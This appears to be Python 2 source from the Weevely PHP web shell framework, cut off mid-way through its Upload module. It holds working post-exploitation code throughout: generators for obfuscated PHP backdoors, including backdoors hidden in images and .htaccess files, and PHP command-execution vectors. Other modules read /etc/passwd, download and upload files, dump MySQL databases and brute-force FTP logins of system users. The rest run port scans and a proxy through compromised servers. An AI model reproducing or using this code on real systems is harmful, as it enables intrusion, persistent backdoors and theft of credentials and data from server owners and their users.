class Read(Module): vectors = Download.vectors params = ParametersList( 'Read file from remote filesystem', vectors, P(arg='rpath', help='Choose remote file path', required=True, pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, remote_path): file = NamedTemporaryFile() file.close() # Passing vector to file.download self.modhandler.load('file.download').params.set_and_check_parameters( {'vector': self.params.get_parameter_value('vector')}) self.modhandler.set_verbosity(2) self.modhandler.load('file.download').run({ 'rpath': remote_path, 'lpath': file.name }) self.modhandler.set_verbosity() response = self.modhandler.load('file.download').get_last_read_file() if response and path.exists(file.name): remove(file.name) return response raise ModuleException(self.name, "File read failed")
class Htaccess(Module): htaccess_template = ''' <Files ~ "^\.ht"> Order allow,deny Allow from all </Files> AddType application/x-httpd-php .htaccess # %%%PHPSHELL%%% # ''' params = ParametersList( 'Create backdoor in .htaccess file (needs remote AllowOverride)', [], P(arg='path', help='Path', default='.htaccess', pos=0)) def __init__(self, modhandler, url, password): """ Avoid to load default interpreter """ self.backdoor = Backdoor(password) self.modhandler = modhandler self.modhandler.interpreter = True self.password = password self.name = self.__module__[8:] def run_module(self, filename): out = file(filename, 'wt') out.write( self.htaccess_template.replace( '%%%PHPSHELL%%%', str(self.backdoor).replace('\n', ' '))) out.close() self.mprint("[%s] Backdoor file '%s' created with password '%s'." % (self.name, filename, self.password))
class Enum(Module): """Enumerate paths on remote filesystem""" params = ParametersList( 'Enumerate remote paths specified by wordlist', None, P(arg='lpath', help='Path of local wordlist', required=True, pos=0)) def __init__(self, modhandler, url, password): self.list = [] Module.__init__(self, modhandler, url, password) def set_list(self, list): """Cleaned after use""" self.list = list def run_module(self, list_path): if not self.list and list_path: try: list = open(os.path.expanduser(list_path), 'r').read().splitlines() except: raise ModuleException( self.name, "Error opening path list \'%s\'" % list_path) else: list = self.list[:] self.list = [] self.mprint('[%s] Enumerating %i paths' % (self.name, len(list))) for path in list: output = path + '' + '\t' * (3 - ((len(path) + 1) / 8)) if self.modhandler.load('file.check').run({ 'rpath': path, 'mode': 'exists' }): output += '\texists' if self.modhandler.load('file.check').run({ 'rpath': path, 'mode': 'r' }): output += ', +readable' if self.modhandler.load('file.check').run({ 'rpath': path, 'mode': 'w' }): output += ', +writable' if self.modhandler.load('file.check').run({ 'rpath': path, 'mode': 'x' }): output += ', +excutable' self.mprint(output)
class Img(Module): htaccess_template = '''AddType application/x-httpd-php .%s ''' params = ParametersList( 'Backdoor existing image and create htaccess (needs remote AllowOverride)', [], P(arg='lpath', help='Input image path', required=True, pos=0), P(arg='outdir', help='Folder to save modified image and .htaccess', default='generated-img', pos=1)) def __init__(self, modhandler, url, password): """ Avoid to load default interpreter """ self.backdoor = Backdoor(password) self.modhandler = modhandler self.modhandler.interpreter = True self.password = password self.name = self.__module__ def run_module(self, input_img, output_dir): if not path.exists(input_img): raise ModuleException(self.name, "Image '%s' not found" % input_img) if not '.' in input_img: raise ModuleException(self.name, "Can't find '%s' extension" % input_img) input_img_ext = input_img.split('.').pop() if not path.exists(input_img): raise ModuleException(self.name, "Image '%s' not found" % input_img) if not path.exists(output_dir): mkdir(output_dir) output_img_name = input_img.split('/').pop() output_img = '%s/%s' % (output_dir, output_img_name) output_img_test = '%s/test_%s' % (output_dir, output_img_name) output_htaccess = '%s/.htaccess' % output_dir try: input_img_data = file(input_img, 'r').read() except Exception, e: raise ModuleException(self.name, str(e)) try: out = file(output_img_test, 'w') out.write( '%s<?php print(str_replace("#","","T#E#S#T# #O#K#")); ?>' % input_img_data) out.close() except Exception, e: raise ModuleException(self.name, str(e))
class Console(Module): '''Start SQL console''' params = ParametersList( 'Start SQL console', [], P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=3)) def run_module(self, mode, user, pwd, host): self.mprint( '[%s] No saved state, commands like \'USE database\' are ineffective. Press Ctrl-C to quit.\n' % (self.name)) prompt = "%s@%s SQL> " % (user, host) self.modhandler.set_verbosity(2) try: while True: cmd = raw_input(prompt) cmd = cmd.strip() if cmd: response = self.modhandler.load('sql.query').run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': cmd, 'host': host }) if response: print response else: self.mprint('[%s] No data returned' % self.name) except KeyboardInterrupt: self.modhandler.set_verbosity() raise
class Sh(Module): '''Shell to execute system commands Every run should be run_module to avoid recursive interpreter probing ''' visible = False vectors = VectorList([ Vector('shell.php', "system", "system('%s 2>&1');"), Vector('shell.php', "passthru", "passthru('%s 2>&1');"), Vector('shell.php', "shell_exec", "echo shell_exec('%s 2>&1');"), Vector('shell.php', "exec", "exec('%s 2>&1', $r); echo(join(\"\\n\",$r));"), Vector('shell.php', "pcntl_exec", "$args = array('%s'); pcntl_exec( '%s', $args );"), Vector( 'shell.php', "popen", "$h = popen('%s','r'); while(!feof($h)) echo(fread($h,4096)); pclose($h);" ), Vector('shell.php', "python_eval", "python_eval('import os; os.system('%s 2>&1');"), Vector('shell.php', "perl->system", "$perl = new perl(); $r = @perl->system('%s 2>&1'); echo $r;"), Vector( 'shell.php', "proc_open", """$p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = proc_open('%s', $p, $pipes); while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h);"""), ]) params = ParametersList( 'System shell', vectors, P(arg='cmd', help='Shell command', required=True, pos=0), P(arg='stderr', help='Print standard error', default=True, type=bool)) def __init__(self, modhandler, url, password): self.payload = None self.cwd_vector = None try: modhandler.load('shell.php') except ModuleException, e: raise else:
class UserWebFiles(Module): """Enumerate w/r/x files in web folders :audit.user_web_files http://www.site.com/user/ /home/user/public_html/ """ params = ParametersList('First crawl web site, then enumerate files searching w/r/x permissions', None, P(arg='url', help='Site to crawl', required=True, pos=0), P(arg='rpath', help='Remote root path corresponding to crawled site', required=True, pos=1), P(arg='deep', help='Crawl deepness', default=3, type=int, pos=2), ) def __init__( self, modhandler , url, password): Module.__init__(self, modhandler, url, password) self.usersfiles = {} def run_module(self, url, home, depth_limit): confine_prefix = url exclude = '' if home[-1] != '/': home = home + '/' self.mprint('[%s] Crawling paths in %s (depth %i)' % (self.name, url, depth_limit)) try: crawler = Crawler(url, depth_limit, confine_prefix, exclude) crawler.crawl() except Exception, e: raise ModuleException(self.name, "Crawler exception: %s" % str(e)) path_list = [ home + p[len(url):] for p in crawler.urls_remembered ] self.mprint('[%s] Enumerating %i paths in %s' % (self.name, len(path_list), home)) if path_list: self.modhandler.load('file.enum').set_list(path_list) self.modhandler.load('file.enum').run({'lpath' : ''})
class Ftp_users(Module): '''Bruteforce sql of system users. ''' params = ParametersList('Bruteforce FTP password of every system users using a local wordlist', None, P(arg='lpath', help='Path of local wordlist. Use \'auto\' to use only user and its reverse as password.', required=True, pos=0), P(arg='host', help='FTP host', default='127.0.0.1', pos=1), P(arg='port', help='FTP port', default=21, type=int, pos=2)) def __generate_wl_from_user(self, user): return [ user, user[::-1] ] def run_module( self, filename, host, port): wl_splitted = [] if filename != 'auto': try: wordlist = open(filename, 'r') wl_splitted = [ w.strip() for w in wordlist.read().split() ] except Exception, e: raise ModuleException(self.name, "Error opening %s: %s" % (filename, str(e))) usersresponse = self.modhandler.load('audit.etc_passwd').run({ 'filter' : 'True'}) if usersresponse: usersdict = self.modhandler.load('audit.etc_passwd').usersinfo users = [ usersdict[u].name for u in usersdict ] for user in users: if filename == 'auto': wl_splitted = self.__generate_wl_from_user(user) else: wl_splitted = self.__generate_wl_from_user(user) + wl_splitted self.modhandler.load('bruteforce.ftp').set_substitutive_wl(wl_splitted) response = self.modhandler.load('bruteforce.ftp').run({'user' : user, 'lpath' : '/tmp/wordlist', 'sline' : 'all', 'host' : host, 'port' : port}) if response: self.mprint(response)
class Ifaces(Module): params = ParametersList('Print network interfaces IP/mask', []) def __init__(self, modhandler, url, password): self.ifaces = {} Module.__init__(self, modhandler, url, password) def __find_ifconfig_path(self): ifconfig_paths = [ x + 'ifconfig' for x in ['/sbin/', '/bin/', '/usr/bin/', '/usr/sbin/', '/usr/local/bin', '/usr/local/sbin'] ] self.modhandler.load('file.enum').set_list(ifconfig_paths) self.modhandler.set_verbosity(6) self.modhandler.load('file.enum').run({ 'lpath' : 'fake' }) self.modhandler.set_verbosity() ifconfig_dict_paths = self.modhandler.load('file.enum').get_list() for p in ifconfig_dict_paths: if ifconfig_dict_paths[p][0]: return p def run_module(self): ifconfig = self.__find_ifconfig_path() try: response = self.modhandler.load('shell.sh').run({ 0 : ifconfig}) except ModuleException: response = None if response: ifaces = re.findall(r'^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', response, re.S | re.M) if ifaces: for i in ifaces: ipnet = IPNetwork('%s/%s' % (i[1], i[2])) self.ifaces[i[0]] = ipnet self.mprint('%s: %s' % (i[0], ipnet)) else: raise ModuleException(self.name, "No interfaces infos found")
class Php(Module): params = ParametersList( 'Generate obfuscated PHP backdoor', [], P(arg='path', help='Path', default='weevely.php', pos=0)) def __init__(self, modhandler, url, password): """ Avoid to load default interpreter """ self.backdoor = Backdoor(password) self.modhandler = modhandler self.modhandler.interpreter = True self.password = password self.name = self.__module__[8:] def run_module(self, filename): out = file(filename, 'wt') out.write(self.backdoor.backdoor) out.close() self.mprint("[%s] Backdoor file '%s' created with password '%s'." % (self.name, filename, self.password))
class Scan(Module): params = ParametersList('Scan network for open ports', [], P(arg='addr', help='IP address, multiple addresses (IP1,IP2,..), networks (IP/MASK or IPstart-IPend) or interfaces (eth0)', required=True, pos=0), P(arg='port', help='Port or multiple ports (PORT1, PORT2,.. or startPORT-endPORT)', required=True, pos=1)) def __init__(self, modhandler, url, password): self.reqlist = RequestList(modhandler) Module.__init__(self, modhandler, url, password) def run_module(self, addr, port): self.reqlist.networks_add(addr) self.reqlist.ports_add(port) print self.reqlist.ips print self.reqlist.ports
class Install(Module): """Install another Weevely backdoor""" params = ParametersList( 'Upload further Weevely backdoor', None, P(arg='pwd', help='Password to generate PHP backdoor', required=True, pos=0), P(arg='rpath', help='Remote path where upload file', required=True, pos=1)) def run_module(self, password, remote_path): backdoor = Backdoor(password) self.modhandler.load('file.upload').set_file_content(str(backdoor)) self.modhandler.load('file.upload').run({ 'lpath': '', 'rpath': remote_path })
class EtcPasswd(Module): """Enumerate users and /etc/passwd content""" vectors = VectorList([ V( 'shell.php', 'posix_getpwuid', "for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).\'\n\'; }" ), V('shell.sh', 'cat', "cat %s"), V('file.read', 'fileread', "%s") ]) params = ParametersList( 'Enumerate users in /etc/passwd content', vectors, P(arg='filter', help='Try to show real users only', default=False, type=bool, pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.usersinfo = {} def run_module(self, filter_real_users): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [filter_real_users]) if response != None: return response raise ModuleException(self.name, "Users enumeration failed") def __execute_payload(self, vector, parameters): filter_real_users = parameters[0] payload = self.__prepare_payload(vector, []) response = self.modhandler.load(vector.interpreter).run({0: payload}) pwdfile = '' if response: response_splitted = response.split('\n') if response_splitted and response_splitted[0].count(':') >= 6: self.params.set_and_check_parameters({'vector': vector.name}) for line in response_splitted: if line: user = User(line) if filter_real_users: if (user.uid == 0) or (user.uid > 999) or ( ('false' not in user.shell) and ('/home/' in user.home)): pwdfile += line + '\n' self.usersinfo[user.name] = user else: pwdfile += line + '\n' self.usersinfo[user.name] = user return pwdfile def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == 1: return vector.payloads[0] % ('/etc/passwd') else: return vector.payloads[0]
class Suidsgid(Module): '''Find files with superuser flags''' vectors = VectorList([ V('shell.sh', "find" , "find %s %s 2>/dev/null") ]) params = ParametersList('Find files with suid and sgid flags', vectors, P(arg='type', help='Suid, sgid or both', choices=['suid','sgid', 'any'], default='any', pos=0), P(arg='rpath', help='Remote starting path', default='.', pos=1) ) visible = True def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, type, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [type, path]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run({0 : payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): mod = parameters[0] path = parameters[1] if vector.interpreter == 'shell.sh': if mod == 'any': mod = '-perm -04000 -o -perm -02000' elif mod == 'suid': mod = '-perm -04000' elif mod == 'sgid': mod = '-perm -02000' return vector.payloads[0] % (path, mod)
class Info(Module): """Collect system informations :system.info auto | whoami | hostname | basedir | document_root | client_ip """ vectors = VectorList([ Vector('shell.sh', 'whoami', "whoami"), Vector('shell.sh', 'hostname', "hostname"), Vector('shell.sh', 'basedir', "pwd"), Vector('shell.sh', 'uname', "uname -a"), Vector('shell.sh', 'os', "uname"), Vector('shell.php', 'document_root', "@print($_SERVER['DOCUMENT_ROOT']);"), Vector('shell.php', 'whoami', "@print(get_current_user());"), Vector('shell.php', 'hostname', "@print(gethostname());"), Vector('shell.php', 'basedir', "@print(getcwd());"), Vector('shell.php', 'safe_mode', "(ini_get('safe_mode') && print(1)) || print(0);"), Vector('shell.php', 'script', "@print($_SERVER['SCRIPT_NAME']);"), Vector('shell.php', 'uname', "@print(php_uname());"), Vector('shell.php', 'os', "@print(PHP_OS);"), Vector('shell.php', 'client_ip', "@print($_SERVER['REMOTE_ADDR']);") ]) params = ParametersList( 'Collect system informations', [], P(arg='info', help='', choices=vectors.get_names_list(), default='auto', pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, info): infos = [] vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: if (vector.name not in infos) and (info == 'auto' or info == vector.name): response = self.__execute_payload(vector, [info]) if response: infos.append(vector.name) if info != 'auto': return response else: tabs = '\t' * (3 - ((len(vector.name) + 1) / 8)) self.mprint('%s:%s%s' % (vector.name, tabs, response)) if info != 'auto': raise ModuleException("system.info", "Information '%s' not supported." % (info)) def __execute_payload(self, vector, parameters): return self.modhandler.load(vector.interpreter).run( {0: vector.payloads[0]})
class Download(Module): '''Download binary/ascii files from target filesystem :file.download <remote path> <locale path> ''' vectors = VectorList([ V('shell.php', 'file', "print(@base64_encode(implode('', file('%s'))));"), V( 'shell.php', 'fread', "$f='%s'; print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));" ), V('shell.php', "file_get_contents", "print(@base64_encode(file_get_contents('%s')));"), V('shell.sh', "base64", "base64 -w 0 %s"), V('shell.php', "copy", "copy('compress.zlib://%s','%s') && print(1);"), V('shell.php', "symlink", "symlink('%s','%s') && print(1);") ]) params = ParametersList( 'Download binary/ascii files from target', vectors, P(arg='rpath', help='Remote file path', required=True, pos=0), P(arg='lpath', help='Local file path', required=True, pos=1)) def __init__(self, modhandler, url, password): self.encoder_callable = False self.md5_callable = False self.payload = None self.vector = None self.interpreter = None self.transfer_dir = None self.transfer_url_dir = None self.lastreadfile = '' Module.__init__(self, modhandler, url, password) def _probe(self): if self.modhandler.load('shell.php').run( {0: "is_callable('base64_encode') && print('1');"}) == '1': self.encoder_callable = True else: self.mprint( '[%s] PHP \'base64_encode\' transfer methods not available.' % self.name) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __execute_payload(self, vector, parameters): remote_path = parameters[0] if (vector.name == 'copy' or vector.name == 'symlink'): if not (self.transfer_dir and self.transfer_url_dir and self.file_path): self.modhandler.set_verbosity(6) if not self.modhandler.load('find.webdir').run( {'rpath': 'find'}): self.modhandler.set_verbosity() return self.modhandler.set_verbosity() self.transfer_url_dir = self.modhandler.load( 'find.webdir').found_url self.transfer_dir = self.modhandler.load( 'find.webdir').found_dir if not self.transfer_url_dir or not self.transfer_dir: return filename = '/' + str(randint( 11, 999)) + remote_path.split('/').pop() self.file_path = self.transfer_dir + filename self.url = self.transfer_url_dir + filename payload = self.__prepare_payload(vector, [remote_path, self.file_path]) else: payload = self.__prepare_payload(vector, [remote_path]) response = self.modhandler.load(vector.interpreter).run({0: payload}) if response: self.payload = payload self.interpreter = vector.interpreter self.vector = vector return response def __process_response(self, response, remote_path, local_path): if self.vector.name == 'copy' or self.vector.name == 'symlink': if not self.file_path.endswith( '.html') and not self.file_path.endswith('.htm'): self.mprint( "[%s] Warning: vector '%s' works better with files with downloadable extension like '.html'" % (self.name, self.vector.name)) if self.modhandler.load('file.check').run({ 'rpath': self.file_path, 'mode': 'exists' }): response = Request(self.url).read() else: response = None # Force deleting. Does not check existance, because broken links returns False self.modhandler.load('file.rm').run({ 'rpath': self.file_path, 'recursive': False }) else: if self.encoder_callable: try: response = b64decode(response) except TypeError: self.mprint("[!] [%s] Error, unexpected file content" % (self.name)) if response: try: f = open(local_path, 'wb') f.write(response) f.close() except Exception, e: self.mprint( '[!] [%s] Some error occurred writing local file \'%s\'.' % (self.name, local_path)) raise ModuleException(self.name, e) response_md5 = md5(response).hexdigest() remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if not remote_md5: self.mprint( '[!] [%s] MD5 hash method is not callable with \'%s\', check disabled' % (self.name, remote_path)) return response elif not remote_md5 == response_md5: self.mprint( '[%s] MD5 hash of \'%s\' file mismatch, file corrupted' % (self.name, local_path)) else: self.mprint('[%s] File correctly downloaded to \'%s\'.' % (self.name, local_path)) return response
class Scan(Module): params = ParametersList( 'Scan network for open ports', [], P(arg='addr', help= 'IP address, multiple IPs (IP1,IP2,..), networks (IP/MASK or firstIP-lastIP) or interfaces (ethN)', required=True, pos=0), P(arg='port', help='Port or multiple ports (PORT1,PORT2,.. or firstPORT-lastPORT)', required=True, pos=1), P(arg='onlyknownports', help='Scan only known ports', default=True, type=bool), P(arg='portsperreq', help='Number of scanned ports per request.', default=10, type=int)) vector_scan = """ $str = base64_decode($_POST["%s"]); foreach (explode(',', $str) as $s) { $s2 = explode(' ', $s); foreach( explode('|', $s2[1]) as $p) { if($fp = fsockopen("$s2[0]", $p, $n, $e, $timeout=1)) {print("\nOPEN: $s2[0]:$p\n"); fclose($fp);} else { print("."); } }} """ def __init__(self, modhandler, url, password): self.rand_post_addr = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) self.rand_post_port = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) Module.__init__(self, modhandler, url, password) def run_module(self, addr, port, onlyknownports, portsperreq): port_list_path = None if onlyknownports: port_list_path = 'modules/net/external/nmap-services-tcp' self.reqlist = RequestList(self.modhandler, port_list_path) self.reqlist.add(addr, port) if not self.reqlist: raise ModuleException(self.name, 'Invalid scan range, check hosts and ports') hostnum = len(self.reqlist) portnum = len(self.reqlist.port_list) reqnum = (portnum * hostnum / portsperreq) + 1 self.mprint( '[%s] Scanning %i ports of %i hosts using %i requests (%i connections per request)' % (self.name, portnum, hostnum, reqnum, portsperreq)) if onlyknownports: known_ports_string = '[%s] Only known ports scanned.' % self.name while self.reqlist: reqstringarray = '' requests = self.reqlist.get_requests(portsperreq) for host, ports in requests.items(): reqstringarray += '%s %s,' % (host, '|'.join(map(str, (ports)))) reqstringarray = '%s' % reqstringarray[:-1] payload = self.vector_scan % (self.rand_post_addr) self.modhandler.load('shell.php').set_post_data( {self.rand_post_addr: b64encode(reqstringarray)}) response = self.modhandler.load('shell.php').run({0: payload}) print response
class Proxy(Module): params = ParametersList('Install and run real proxy through target', [], P(arg='rpath', help='Upload proxy script to web accessible path (ends with \'.php\')'), P(arg='rurl', help='Run directly proxy server using uploaded proxy script HTTP url'), P(arg='finddir', help='Install proxy script automatically starting from web accessible dir', default='.'), P(arg='lport', help='Local proxy port', default=8080, type=int), ) def __get_backdoor(self): backdoor_path = 'modules/net/external/proxy.php' try: f = open(backdoor_path) except IOError: raise ModuleException(self.name, "'%s' not found" % backdoor_path) return f.read() def __upload_file_content(self, content, rpath): self.modhandler.load('file.upload').set_file_content(content) response = self.modhandler.load('file.upload').run({ 'lpath' : 'fake', 'rpath' : rpath, 'chunksize': 256 }) return response def __find_writable_dir(self, path = 'find'): self.modhandler.set_verbosity(6) self.modhandler.load('find.webdir').run({ 'rpath' : path }) url = self.modhandler.load('find.webdir').found_url dir = self.modhandler.load('find.webdir').found_dir self.modhandler.set_verbosity() return dir, url def __run_proxy_server(self, rurl, lport, lhost='127.0.0.1'): server = SocketServer.ThreadingTCPServer((lhost, lport), ProxyHandler) server.rurl = rurl print '[%s] Proxy running. Set \'http://%s:%i\' in your favourite HTTP proxy' % (self.name, lhost, lport) server.serve_forever() def run_module(self, rpath, rurl, finddir, lport): rname = ''.join(choice(letters) for i in xrange(4)) + '.php' if not rurl: if not rpath and finddir: path, url = self.__find_writable_dir(finddir) if not (path and url): raise ModuleException(self.name, 'Writable dir in \'%s\' not found. Specify writable dir using \':net.php_proxy rpath=writable_dir/proxy.php\'' % finddir) else: path = path + rname url = url + rname else: if not rpath.endswith('.php'): raise ModuleException(self.name, 'Remote PHP path must ends with \'.php\'') path = rpath url = None if path: phpfile = self.__get_backdoor() response = self.__upload_file_content(phpfile, path) if response: if url: self.mprint('[%s] Proxy uploaded, launch \':net.proxy rurl=%s\'' % (self.name, url)) else: self.mprint('[%s] Proxy uploaded, launch \':net.proxy rurl=http://\' followed by uploaded script url' % (self.name)) self.mprint('[%s] When finished remove script \'%s\'' % (self.name, path)) else: raise ModuleException(self.name, "Error installing remote PHP proxy, check uploading path") else: try: self.__run_proxy_server(rurl, lport) except Exception, e: raise ModuleException(self.name,'Proxy start on port %i failed with error %s' % (lport, str(e)) )
class Dump(Module): '''Get SQL database dump :sql.dump mysql <host> <user> <pass> <db name> <table name>|any ''' vectors = VectorList([ Vector( 'shell.php', 'mysqlphpdump', """ function dmp ($table) { $result .= "\n-- -------- TABLE '$table' ----------\n"; $query = mysql_query("SELECT * FROM ".$table); $numrow = mysql_num_rows($query); $numfields = mysql_num_fields($query); print $numrow . " " . $numfields; if ($numrow > 0) { $result .= "INSERT INTO `".$table."` ("; $i = 0; for($k=0; $k<$numfields; $k++ ) { $result .= "`".mysql_field_name($query, $k)."`"; if ($k < ($numfields-1)) $result .= ", "; } $result .= ") VALUES "; while ($row = mysql_fetch_row($query)) { $result .= " ("; for($j=0; $j<$numfields; $j++) { if (mysql_field_type($query, $j) == "string" || mysql_field_type($query, $j) == "timestamp" || mysql_field_type($query, $j) == "time" || mysql_field_type($query, $j) == "datetime" || mysql_field_type($query, $j) == "blob") { $row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); $row[$j] = ereg_replace("\r","",$row[$j]); $result .= "'$row[$j]'"; } else if (is_null($row[$j])) $result .= "NULL"; else $result .= $row[$j]; if ( $j<($numfields-1)) $result .= ", "; } $result .= ")"; $i++; if ($i < $numrow) $result .= ","; else $result .= ";"; $result .= "\n"; } } else $result .= "-- table is empty"; return $result . "\n\n"; } ini_set('mysql.connect_timeout',1); $res=mysql_connect("%s", "%s", "%s"); $db_name = "%s"; $db_table_name = "%s"; mysql_select_db($db_name); $tableQ = mysql_list_tables ($db_name); $i = 0; $num_rows = mysql_num_rows ($tableQ); if($num_rows) { if(!$res) {print("-- DEFAULT\n"); } while ($i < $num_rows) { $tb_names[$i] = mysql_tablename ($tableQ, $i); if(($db_table_name == $tb_names[$i]) || $db_table_name == "") { print(dmp($tb_names[$i])); } $i++; } } mysql_close(); """), Vector( 'shell.sh', 'mysqldump', "mysqldump -h %s -u %s --password=%s %s %s --single-transaction"), # --single-transaction to avoid bug http://bugs.mysql.com/bug.php?id=21527 ]) params = ParametersList( 'Get SQL mysqldump-like database dump', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='table', help='Table name to dump (any to dump entire database)', default='any', pos=4), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=5), P(arg='lfile', help='Local path (keep \'auto\' for automatic naming)', default='auto', pos=6)) def __init__(self, modhandler, url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module(self, mode, user, pwd, db, table, host, lpath): if mode != 'mysql': raise ModuleException(self.name, "Only 'mysql' database is supported so far") uri = '%s:%s@%s-%s' % (user, pwd, host, db) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells + ['sql.query']) for vector in vectors: response = self.__execute_payload( vector, [mode, host, user, pwd, db, table]) if response != None: if response.startswith('-- DEFAULT'): # mysqlphpdump default fallback self.mprint( "[%s] Error connecting to '%s', using default (query 'SELECT USER();' to print out)" % (self.name, uri)) uri = 'default' elif 'mysqldump: Got error:' in response: # mysqldump output but error self.mprint( "[%s] Error connecting to '%s', check credentials and db name" % (self.name, uri)) try: if lpath == 'auto': lpath = '%s.txt' % uri self.mprint("[%s] Saving '%s' dump in '%s'" % (self.name, uri, lpath)) lfile = open(lpath, 'w') except: raise ModuleException( self.name, "Error opening dump file \'%s\'" % lpath) self.params.set_and_check_parameters({'vector': vector.name}) lfile.write(response) lfile.close() return self.mprint( '[%s] Error dumping \'%s\', check credentials, host and database name' % (self.name, uri)) def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] table = parameters[5] if table == 'any': table = '' self.modhandler.set_verbosity(2) self.structure[db] = {} payload = self.__prepare_payload(vector, [host, user, pwd, db, table]) response = self.modhandler.load(vector.interpreter).run({0: payload}) self.modhandler.set_verbosity() if response: return response def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Query(Module): '''Execute SQL query ''' vectors = VectorList([ Vector('shell.php', 'php_fetch', [ """ $c="%s"; $q="%s"; $f="%s"; if(@$c("%s","%s","%s")){ $result = $q("%s"); while (list($table) = $f($result)) { echo $table."\n"; } mysql_close(); }""", """ $c="%s"; $q="%s"; $f="%s"; $h="%s"; $u="%s"; $p="%s"; $result = $q("%s"); if($result) { while (list($table) = $f($result)) { echo $table."\n"; } } mysql_close(); """ ]) ]) params = ParametersList( 'Execute SQL query', vectors, P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='query', help='SQL query', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def run_module(self, mode, user, pwd, query, host): if mode == 'mysql': sql_connect = "mysql_connect" sql_query = "mysql_query" sql_fetch = "mysql_fetch_row" else: sql_connect = "pg_connect" sql_query = "pg_query" sql_fetch = "pg_fetch_row" vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [sql_connect, sql_query, sql_fetch, host, user, pwd, query]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response self.mprint( '[%s] No response, check credentials and dbms availability.' % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) response = self.modhandler.load(vector.interpreter).run({0: payload}) if not response: payload = self.__prepare_payload(vector, parameters, 1) response = self.modhandler.load(vector.interpreter).run( {0: payload}) if response: self.mprint( "[%s] Error connecting to '%s:%s@%s', using default (query 'SELECT USER();' to print out)" % (self.name, parameters[3], parameters[4], parameters[5]), 3) return response else: return response return None def __prepare_payload(self, vector, parameters, payloadnum=0): if vector.payloads[payloadnum].count('%s') == len(parameters): return vector.payloads[payloadnum] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Upload(Module): '''Upload binary/ascii file to the target filesystem''' vectors = VectorList([ Vector('shell.php', 'file_put_contents', "file_put_contents('%s', base64_decode($_POST['%s']));"), Vector( 'shell.php', 'fwrite', '$h = fopen("%s", "w"); fwrite($h, base64_decode($_POST["%s"]));') ]) params = ParametersList( 'Upload a file to the target filesystem', vectors, P(arg='lpath', help='Local file path', required=True, pos=0), P(arg='rpath', help='Remote path', required=True, pos=1)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.file_content = None self.rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) def __execute_payload(self, vector, parameters): file_encoded_content = parameters[0] file_local_md5 = parameters[1] remote_path = parameters[2] payload = vector.payloads[0] % (remote_path, self.rand_post_name) self.modhandler.load(vector.interpreter).set_post_data( {self.rand_post_name: file_encoded_content}) self.modhandler.load(vector.interpreter).run({0: payload}) file_remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if file_remote_md5 == file_local_md5: self.mprint('[%s] File \'%s\' uploaded.' % (self.name, remote_path)) return True else: file_exists = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }) if file_exists: self.mprint( '[!] [%s] MD5 hash of \'%s\' file mismatch, file 